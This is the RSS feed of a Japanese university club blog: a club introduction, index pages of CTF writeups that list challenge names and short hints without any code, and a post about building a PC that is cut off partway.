<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="rss.xsl"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>KogCoder Blog</title>
        <link>https://kogcoder.com/</link>
        <description>KogCoder Blog</description>
        <lastBuildDate>Thu, 06 Apr 2023 00:00:00 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>ja</language>
        <item>
            <title><![CDATA[KogCoderって何をやってるところなの？]]></title>
            <link>https://kogcoder.com/2023/04/06/introduction</link>
            <guid>https://kogcoder.com/2023/04/06/introduction</guid>
            <pubDate>Thu, 06 Apr 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[先日質問箱にこのような質問が届きました]]></description>
            <content:encoded><![CDATA[<p>先日質問箱にこのような質問が届きました</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">具体的に何をするんですか？</span><br></div></code></pre></div></div>
<p><a href="https://peing.net/ja/q/93a54bbc-913d-42b3-b1f8-30cc4e8998ef" target="_blank" rel="noopener noreferrer" class="">https://peing.net/ja/q/93a54bbc-913d-42b3-b1f8-30cc4e8998ef</a></p>
<p>「そういえば活動内容紹介が最後に書かれたの数年前だな」と思ったので、最近の活動内容について書いていきます</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="主な活動内容">主な活動内容<a href="https://kogcoder.com/2023/04/06/introduction#%E4%B8%BB%E3%81%AA%E6%B4%BB%E5%8B%95%E5%86%85%E5%AE%B9" class="hash-link" aria-label="主な活動内容 への直接リンク" title="主な活動内容 への直接リンク" translate="no">​</a></h2>
<p>2020年現在、KogCoderでは大きく分けて2つの活動をしています</p>
<ul>
<li class="">競技プログラミング</li>
<li class="">CTF</li>
</ul>
<p>全てのメンバーが全ての活動をしている訳ではなく、それぞれ興味のある分野を突き詰めています(もちろん全部やっている人もいます)</p>
<!-- -->
<p>ここで、「競技プログラミング？CTF？ﾅﾆｿﾚｵｲｼｲﾉ？」てなった人も多数いるかと思いますので、どのようなものかを説明していきます</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="競技プログラミング">競技プログラミング<a href="https://kogcoder.com/2023/04/06/introduction#%E7%AB%B6%E6%8A%80%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%9F%E3%83%B3%E3%82%B0" class="hash-link" aria-label="競技プログラミング への直接リンク" title="競技プログラミング への直接リンク" translate="no">​</a></h3>
<p>競プロとよく略されます
指定された処理を行うプログラムをいかに速く書き上げるかを競います</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ctf">CTF<a href="https://kogcoder.com/2023/04/06/introduction#ctf" class="hash-link" aria-label="CTF への直接リンク" title="CTF への直接リンク" translate="no">​</a></h3>
<p>Capture The Flagの略称てす
セキュリティ上の欠陥(脆弱性といいます)を攻撃したり暗号やプログラムを解析したりして、問題に埋めこまれたFlagと呼ばれる文字列を探す競技です
極めるとｽｰﾊﾟｰﾊｶｰになれます</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="その他の活動">その他の活動<a href="https://kogcoder.com/2023/04/06/introduction#%E3%81%9D%E3%81%AE%E4%BB%96%E3%81%AE%E6%B4%BB%E5%8B%95" class="hash-link" aria-label="その他の活動 への直接リンク" title="その他の活動 への直接リンク" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="サーバーの構築運用">サーバーの構築、運用<a href="https://kogcoder.com/2023/04/06/introduction#%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%81%AE%E6%A7%8B%E7%AF%89%E9%81%8B%E7%94%A8" class="hash-link" aria-label="サーバーの構築、運用 への直接リンク" title="サーバーの構築、運用 への直接リンク" translate="no">​</a></h3>
<p>このブログやKogCoder専用のVPNの構築及び保守運用を行なってます
学校からある程度お金が出ているので、金欠学生でもちょっとお金がかかるような環境を組んで遊べます</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="lt">LT<a href="https://kogcoder.com/2023/04/06/introduction#lt" class="hash-link" aria-label="LT への直接リンク" title="LT への直接リンク" translate="no">​</a></h3>
<p>ゆるーいプレゼンみたいなものです
メンバーがそれぞれ最近やったことや得意分野について話します
先日行われたLTではPSPのHomebrew(自作ソフトのこと)の作りかたやDeepLearning <del>やレントラーの育成論</del>等についての発表がありました
普段自分が目を向けないような分野の話を聞けるのでとても勉強になります</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="合宿">合宿<a href="https://kogcoder.com/2023/04/06/introduction#%E5%90%88%E5%AE%BF" class="hash-link" aria-label="合宿 への直接リンク" title="合宿 への直接リンク" translate="no">​</a></h3>
<p>泊まりこみでプログラムやセキュリティの勉強やPCの環境構築、焼き肉を行います
昨年の夏合宿では、秋葉原で買ってきた中古のPC2台のHDDを増設し、Gentoo Linux*1 の環境を構築を行いました</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="おわりに">おわりに<a href="https://kogcoder.com/2023/04/06/introduction#%E3%81%8A%E3%82%8F%E3%82%8A%E3%81%AB" class="hash-link" aria-label="おわりに への直接リンク" title="おわりに への直接リンク" translate="no">​</a></h2>
<p>正直、コロナウイルスの影響で例年通りに新歓が出来なかったのでメンバーが集まるかどうかかなり不安を抱えています
初心者でも丁寧に教えますので、もしこの記事を読んで興味を持っていただけたのであれば、是非KogCoderへの参加を検討していただけると幸いです</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="faq">FAQ<a href="https://kogcoder.com/2023/04/06/introduction#faq" class="hash-link" aria-label="FAQ への直接リンク" title="FAQ への直接リンク" translate="no">​</a></h2>
<p>あるかもしれない質問とその回答をここに</p>
<p>Q.  プログラミング言語は何を使ってますか
A.  多分全員C/C++は書けると思います
また、Pythonを書くメンバーも結構いると思います
少数派ではありますが、HaskellやPHPを専門としているメンバーもいます</p>
<p>Q.  OSは何を使っていますか
A.  Windowsをメインで使っているメンバーがほとんどです
ですが、だいたいWSLや仮想マシン、デュアルブートなどの方法でLinux環境を用意しています
ちなみにLinuxディストリビューションはUbuntu、Deepin、Arch Linuxなどが使われています</p>
<p>Q.  KogCoderに入ればプログラミングの単位を取れますか
A.  単純にプログラムを書く機会が増えるのでかなりの確率で一回も単位を落とさずにいけると思います
ただし、人並み以上にプログラミングできるのに何故か単位を落としたメンバーが1人いるので確約はできません
慢心はしないようにしましょう</p>
<p>*1: 最も導入の敷居が高いであろうLinuxディストリビューション。インストールするにはひたすら黒い画面と格闘し続ける必要がある</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SECCON Beginners CTF 2020 Writeup]]></title>
            <link>https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup</link>
            <guid>https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup</guid>
            <pubDate>Wed, 05 Apr 2023 15:00:00 GMT</pubDate>
            <description><![CDATA[Overview]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="overview">Overview<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup#overview" class="hash-link" aria-label="Overview への直接リンク" title="Overview への直接リンク" translate="no">​</a></h2>
<p>チーム KogCoder として参加し、2205pts獲得し37位でした</p>
<p><img decoding="async" loading="lazy" alt="result" src="https://kogcoder.com/assets/images/result-e6467cacd0fc6dd5013304b6ab9c2a2c.png" width="1920" height="2385" class="img_ev3q"></p>
<p>ReversingとMiscを全完出来たので去年より成長したと思います</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pwn">Pwn<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup#pwn" class="hash-link" aria-label="Pwn への直接リンク" title="Pwn への直接リンク" translate="no">​</a></h2>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup/beginners-stack">Beginner's Stack</a> 134pts Beginner<!-- -->
<ul>
<li class="">シンプルなStack Overflowです</li>
</ul>
</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="crypto">Crypto<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup#crypto" class="hash-link" aria-label="Crypto への直接リンク" title="Crypto への直接リンク" translate="no">​</a></h2>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup/r-and-b">R&amp;B</a> 52pts Beginner<!-- -->
<ul>
<li class="">順番通りにdecodeしよう</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup/noisy-equations">Noisy equations</a> 261pts Easy<!-- -->
<ul>
<li class="">乱数を上手く取り除いてflagをゲットしよう</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup/rsa-calc">RSA Calc</a> 319pts Medium<!-- -->
<ul>
<li class="">RSA署名の実装の甘さを突きます</li>
</ul>
</li>
</ul>
<!-- -->
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="web">Web<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup#web" class="hash-link" aria-label="Web への直接リンク" title="Web への直接リンク" translate="no">​</a></h2>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup/spy">Spy</a> 55pts Beginner<!-- -->
<ul>
<li class="">タイミング攻撃です</li>
</ul>
</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reversing">Reversing<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup#reversing" class="hash-link" aria-label="Reversing への直接リンク" title="Reversing への直接リンク" translate="no">​</a></h2>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup/mask">mask</a> 62pts Beginner<!-- -->
<ul>
<li class="">strcmpをちょっと複雑にしたやつ</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup/yakisoba">yakisoba</a> 156pts Easy<!-- -->
<ul>
<li class="">angr</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup/ghost">ghost</a> 279pts Medium<!-- -->
<ul>
<li class="">イロモノ言語問題です</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup/siblangs">siblangs</a> 363pts Medium<!-- -->
<ul>
<li class="">React Nativeの解析です</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup/sneaky">sneaky</a> 410pts Hard<!-- -->
<ul>
<li class="">ゲームでチートをする問題です</li>
</ul>
</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="misc">Misc<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup#misc" class="hash-link" aria-label="Misc への直接リンク" title="Misc への直接リンク" translate="no">​</a></h2>
<ul>
<li class="">Welcome 50pts Beginner<!-- -->
<ul>
<li class=""><code>ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}</code></li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup/emoemoencode">emoemoencode</a> 53pts Easy<!-- -->
<ul>
<li class="">文字コードの差に注目しよう</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2020-writeup/readme">readme</a> 272pts Easy<!-- -->
<ul>
<li class="">procfs完全理解できます</li>
</ul>
</li>
</ul>]]></content:encoded>
            <category>ctf</category>
        </item>
        <item>
            <title><![CDATA[SECCON Beginners CTF 2021 Writeup]]></title>
            <link>https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup</link>
            <guid>https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup</guid>
            <pubDate>Wed, 05 Apr 2023 15:00:00 GMT</pubDate>
            <description><![CDATA[Overview]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="overview">Overview<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup#overview" class="hash-link" aria-label="Overview への直接リンク" title="Overview への直接リンク" translate="no">​</a></h2>
<p>チーム KogCoder として参加し、3122pts獲得し27位でした</p>
<p><img decoding="async" loading="lazy" alt="result" src="https://kogcoder.com/assets/images/result-3bc761370c55808b600a6b6e0cd9cc47.png" width="393" height="673" class="img_ev3q"></p>
<p>去年より順位を上げることが出来ました
また、2年連続でReversingを全完しました。やったぜ</p>
<p>※Writeupを書き終わったものから順次公開しているのでまだリンクがないものもあります</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="welcome">Welcome<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup#welcome" class="hash-link" aria-label="Welcome への直接リンク" title="Welcome への直接リンク" translate="no">​</a></h2>
<ul>
<li class="">Welcome 51pts Beginner<!-- -->
<ul>
<li class=""><code>ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}</code></li>
</ul>
</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="crypto">Crypto<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup#crypto" class="hash-link" aria-label="Crypto への直接リンク" title="Crypto への直接リンク" translate="no">​</a></h2>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/simple_rsa">simple_RSA</a> 75pts Beginner<!-- -->
<ul>
<li class="">Low Expornential Attack</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/logical_seesaw">Logical_SEESAW</a> 118pts Beginner</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/gfm">GFM</a> 222pts Easy</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/imaginary">Imaginary</a> 264pts Medium<!-- -->
<ul>
<li class="">ECBモードの仕様の悪用</li>
</ul>
</li>
</ul>
<!-- -->
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reversing">Reversing<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup#reversing" class="hash-link" aria-label="Reversing への直接リンク" title="Reversing への直接リンク" translate="no">​</a></h2>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/only_read">only_read</a> 55pts Beginner<!-- -->
<ul>
<li class="">読むだけ</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/children">children</a> 73pts Easy</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/please_not_trace_me">please_not_trace_me</a> 242pts Easy<!-- -->
<ul>
<li class="">アンチデバッガ問</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/be-angry">be_angry</a> 234pts Medium<!-- -->
<ul>
<li class="">今年のangr枠</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/firmware">firmware</a> 302pts Medium<!-- -->
<ul>
<li class="">エスパー + armバイナリ解析</li>
</ul>
</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pwnable">pwnable<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup#pwnable" class="hash-link" aria-label="pwnable への直接リンク" title="pwnable への直接リンク" translate="no">​</a></h2>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/rewriter">rewriter</a> 108pts Beginner<!-- -->
<ul>
<li class="">任意アドレスを書き換えてret2win</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/beginners_rop">beginners_rop</a> 264pts Easy<!-- -->
<ul>
<li class="">基本的なret2libc</li>
</ul>
</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="web">Web<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup#web" class="hash-link" aria-label="Web への直接リンク" title="Web への直接リンク" translate="no">​</a></h2>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/osoba">osoba</a> 51pt Beginner</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/werewolf">Werewolf</a> 70pt Easy</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/check_url">check_url</a> 95pt Easy</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/json">json</a> 109pt Medium</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/cant_use_db">cant_use_db</a> 108pt Medium</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="misc">Misc<a href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup#misc" class="hash-link" aria-label="Misc への直接リンク" title="Misc への直接リンク" translate="no">​</a></h2>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/git-leak">git-leak</a> 58pt Easy</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/mail_address_validator">Mail_Address_Validator</a> 76pt Easy<!-- -->
<ul>
<li class="">破壊的なバックトラック</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/fly">fly</a> 411pt Medium<!-- -->
<ul>
<li class="">Wolf RPG エディタ解析</li>
</ul>
</li>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/seccon-beginners-ctf-2021-writeup/depixelization">depixelization</a> 136pt Medium</li>
</ul>]]></content:encoded>
            <category>ctf</category>
        </item>
        <item>
            <title><![CDATA[zer0pts CTF 2020 Writeups]]></title>
            <link>https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups</link>
            <guid>https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups</guid>
            <pubDate>Wed, 05 Apr 2023 15:00:00 GMT</pubDate>
            <description><![CDATA[Overview]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="overview">Overview<a href="https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups#overview" class="hash-link" aria-label="Overview への直接リンク" title="Overview への直接リンク" translate="no">​</a></h2>
<p>チーム KogCoder として参加し、2221pts獲得し37位でした</p>
<p><img decoding="async" loading="lazy" alt="img" src="https://kogcoder.com/assets/images/result-e27cbb2210ee387ff35b7ea35e74c817.png" width="1920" height="1588" class="img_ev3q"></p>
<p>reversing以外が壊滅的なので、他の分野もしっかりお勉強しようと思いました</p>
<p>ちなみに頼もしい公式のwriteupは<a href="https://hackmd.io/@ptr-yudai/HJc6fUWBL" target="_blank" rel="noopener noreferrer" class="">コチラ</a></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pwn">pwn<a href="https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups#pwn" class="hash-link" aria-label="pwn への直接リンク" title="pwn への直接リンク" translate="no">​</a></h2>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups/hipwn">hipwn</a> - 158pts<!-- -->
<ul>
<li class="">大会期間中に解けなかったがx64 shellcodeのいい勉強になった</li>
</ul>
</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="forensics">forensics<a href="https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups#forensics" class="hash-link" aria-label="forensics への直接リンク" title="forensics への直接リンク" translate="no">​</a></h2>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups/locked-kitkat">locked kitkat</a> - 100pts<!-- -->
<ul>
<li class="">Androidのロックを解除する問題。</li>
</ul>
</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reversing">reversing<a href="https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups#reversing" class="hash-link" aria-label="reversing への直接リンク" title="reversing への直接リンク" translate="no">​</a></h2>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups/raindropper">raindropper</a> - 604pts<!-- -->
<ul>
<li class="">ガチのランサムウェアの解析</li>
</ul>
</li>
</ul>
<!-- -->
<ul>
<li class="">
<p><a class="" href="https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups/hobbit">Hobbit</a> - 525pts</p>
<ul>
<li class="">独自形式のバイナリの解析</li>
</ul>
</li>
<li class="">
<p><a class="" href="https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups/qr-puzzle">QR Puzzle</a> - 314pts</p>
<ul>
<li class="">暗号化されたQRコードの復号。warmupの割に難しい</li>
</ul>
</li>
<li class="">
<p><a class="" href="https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups/vmlog">vmlog</a> - 213pts</p>
<ul>
<li class="">プログラムの動作ログからの入力値の逆算</li>
</ul>
</li>
<li class="">
<p><a class="" href="https://kogcoder.com/2023/04/06/zer0pts-ctf-2020-writeups/easy-strcmp">easy strcmp</a> - 265pts</p>
<ul>
<li class="">脳死angr問。数分で解けた</li>
</ul>
</li>
</ul>]]></content:encoded>
            <category>blog</category>
            <category>ctf</category>
        </item>
        <item>
            <title><![CDATA[SECCON Beginners CTF 2022 Writeup]]></title>
            <link>https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup</link>
            <guid>https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup</guid>
            <pubDate>Tue, 07 Jun 2022 05:57:00 GMT</pubDate>
            <description><![CDATA[Overview]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="overview">Overview<a href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup#overview" class="hash-link" aria-label="Overview への直接リンク" title="Overview への直接リンク" translate="no">​</a></h2>
<p>チーム KogCoder として参加し、1552pt獲得し43位でした
<img decoding="async" loading="lazy" alt="結果" src="https://kogcoder.com/assets/images/result-aa91d601c0461cb77bb95e542ac0fa16.png" width="1920" height="2715" class="img_ev3q"></p>
<p>3年連続でreversingを全完することができました。うれしい</p>
<ul>
<li class="">
<p>web</p>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/util">Util (54 pt)</a></li>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/textex">textex (92 pt)</a></li>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/gallery">gallery (83 pt)</a></li>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/01.serial">serial (109 pt)</a></li>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/ironhand">Ironhand (147 pt)</a></li>
</ul>
</li>
<li class="">
<p>misc</p>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/phisher">phisher (70 pt)</a></li>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/h2">H2 (69 pt)</a></li>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/hitchhike4b">hitchhike4b (91 pt)</a></li>
</ul>
</li>
<li class="">
<p>pwnable</p>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/beginnersbof">BeginnersBof (84 pt)</a></li>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/snowdrop">snowdrop (144 pt)</a></li>
</ul>
</li>
<li class="">
<p>reversing</p>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/quiz">Quiz (50 pt)</a></li>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/wintls">WinTLS (100 pt)</a></li>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/recursive">Recursive (91 pt)</a></li>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/ransom">Ransom (125 pt)</a></li>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/please_not_debug_me">please_not_debug_me (138 pt)</a></li>
</ul>
</li>
<li class="">
<p>crypto</p>
<ul>
<li class=""><a class="" href="https://kogcoder.com/2022/06/7/seccon-beginners-ctf-2022-writeup/02.coughingfox">CoughingFox (55 pt)</a></li>
</ul>
</li>
</ul>
<!-- -->
<ul>
<li class="">Welcome (50 pt)<!-- -->
<ul>
<li class=""><code>ctf4b{W3LC0M3_70_53CC0N_B361NN3R5_C7F_2022}</code></li>
</ul>
</li>
</ul>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[自作PCをつくった]]></title>
            <link>https://kogcoder.com/2022/02/26/pc</link>
            <guid>https://kogcoder.com/2022/02/26/pc</guid>
            <pubDate>Fri, 25 Feb 2022 15:00:00 GMT</pubDate>
            <description><![CDATA[私たちは解析用のPCをつくるために2月に秋葉原へ行きました。今回はそのときのPC組み立て作業工程をお話しします。自分好みの自作PCをつくってみたい 是非参考にしてみてください。]]></description>
            <content:encoded><![CDATA[<p>私たちは解析用のPCをつくるために2月に秋葉原へ行きました。今回はそのときのPC組み立て作業工程をお話しします。<strong>自分好みの自作PCをつくってみたい</strong> 是非参考にしてみてください。</p>
<h1>電源</h1>
<p>今回は"XPG PYLON 750W PC電源ユニット"を使用。<br>
<img decoding="async" loading="lazy" alt="電源ユニット" src="https://kogcoder.com/assets/images/power_supply-fd0aba30c15ecbe925cadaf143cd630a.JPG" width="1817" height="1218" class="img_ev3q">
電源はPCにおける心臓部で、基本的にすべてのパーツに電源を供給するとても重要なパーツ。ケチると本来のパフォーマンスを発揮できないことがある。<br>
<!-- -->とりあえずこの電源からケースに設置していく。</p>
<!-- -->
<p><img decoding="async" loading="lazy" alt="電源ユニット" src="https://kogcoder.com/assets/images/power_supply_installed-575d67acb4adc703a0a48469d3c0785b.JPG" width="1920" height="1280" class="img_ev3q"><br>
<!-- -->設置完了！</p>
<h1>CPU</h1>
<p>"Intel Core i5-12400F Processor 18M Cache, up to 4.40 GHz"を使用。<br>
<!-- -->CPUは他の装置の制御やデータの演算を行う。CPUの内部は <strong>制御ユニット</strong> <strong>演算ユニット</strong> <strong>レジスタ群</strong> <strong>クロック</strong> で構成される。<br>
<img decoding="async" loading="lazy" alt="CPU裏" src="https://kogcoder.com/assets/images/CPU_back-560693d7800a6acb18763fc837364914.JPG" width="1920" height="1280" class="img_ev3q">
こっちの面をマザーボードのCPUソケットにくっつける。<br>
<!-- -->ピンが折れると壊れるので慎重に。<br>
<img decoding="async" loading="lazy" alt="CPUマザボ取り付け" src="https://kogcoder.com/assets/images/CPU_installing(1)-80f1ac9d7627e4eecf6c21d3cd6d5a0d.JPG" width="1920" height="1280" class="img_ev3q">
取り付けが完了したら固定する。結構力がいる。<br>
<img decoding="async" loading="lazy" alt="CPUマザボ取り付け完了" src="https://kogcoder.com/assets/images/CPU_installed(2)-9e25f1e86a35b4008d4ab4c03825073b.JPG" width="1920" height="1280" class="img_ev3q">
取付完了。</p>
<h1>メモリ</h1>
<p>"Crucial CT2K16G4DFD832A"を使用。今回は16GBを2枚(合計32GB)を取り付ける。<br>
<img decoding="async" loading="lazy" alt="メモリ" src="https://kogcoder.com/assets/images/memory-35a4903a5ddc65e1f210423ba062b884.JPG" width="1920" height="1280" class="img_ev3q">
メモリはデータを <strong>一時的に</strong> 保存しておく場所です。  メモリの容量がたくさんあるほど、パソコンの動作が速く、安定しますが逆に容量が少ないとHDDやSSDといった記憶領域を仮想メモリとして使用する。しかしHDDは読み書きが遅く、SSDは寿命が縮むのでメモリの容量はなるべく大きいものを選びたい。</p>
<p><img decoding="async" loading="lazy" alt="メモリ取り付け" src="https://kogcoder.com/assets/images/memory_installing-c1a7bb53ba5025aaf8fa4fbdc554d651.JPG" width="1920" height="1280" class="img_ev3q">
溝にはめるように取り付ける。取り付ける際は事前にメモリスロットのロックを外しておく。<br>
<img decoding="async" loading="lazy" alt="メモリ取り付け失敗" src="https://kogcoder.com/assets/images/memory_install_failed-d69a2bd51edd4b237003a8d9fef994fd.JPG" width="1920" height="1280" class="img_ev3q">
しっかりはめるためにはかなり力が必要だった。意外と折れないので勇気を出して押し込もう！</p>
<h1>SSD</h1>
<p>"Crucial P2 500GB PCle M.2 2280 SSD"を使用。
